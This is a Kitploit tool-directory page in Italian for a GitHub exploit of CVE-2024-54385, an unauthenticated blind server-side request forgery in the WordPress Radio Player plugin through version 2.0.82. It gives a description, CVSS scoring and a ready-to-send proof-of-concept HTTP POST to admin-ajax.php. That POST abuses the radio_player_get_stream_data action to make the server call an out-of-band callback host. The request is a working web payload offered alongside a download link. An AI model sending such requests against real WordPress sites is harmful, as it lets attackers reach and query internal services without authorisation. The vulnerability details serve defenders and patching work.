Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-54385 — Radio Player <= 2.0.82 - Server-Side Request Forgery cieca non autenticata | Kitploit
Strumenti/GitHubGitHub/randomrobbiebf/cve-2024-54385
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni Web
GitHubrandomrobbiebf/cve-2024-54385

CVE-2024-54385

Radio Player <= 2.0.82 - Server-Side Request Forgery cieca non autenticata

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-54385

Radio Player <= 2.0.82 - Server-Side Request Forgery non autenticata

Descrizione

Il plugin per WordPress Radio Player – Live Shoutcast, Icecast and Any Audio Stream Player è vulnerabile a Server-Side Request Forgery in tutte le versioni fino alla 2.0.82 inclusa. Ciò consente a utenti non autenticati di effettuare richieste web verso posizioni arbitrarie originate dall'applicazione web, che possono essere utilizzate per interrogare e modificare informazioni dai servizi interni.

Dettagli

  • Tipo: plugin
  • Slug: radio-player
  • Versione interessata: 2.0.82
  • Punteggio CVSS: 7.2
  • Valutazione CVSS: Alto
  • Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
  • CVE: CVE-2024-54385
  • Stato: Attivo

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 127

action=radio_player_get_stream_data&nonce=feb9ecfbfa&utm_source=&url=http://918sodewycbbjnbts7cxy5bqyh48s0gp.bc.oast.site/live.m3u8
Scarica lo strumento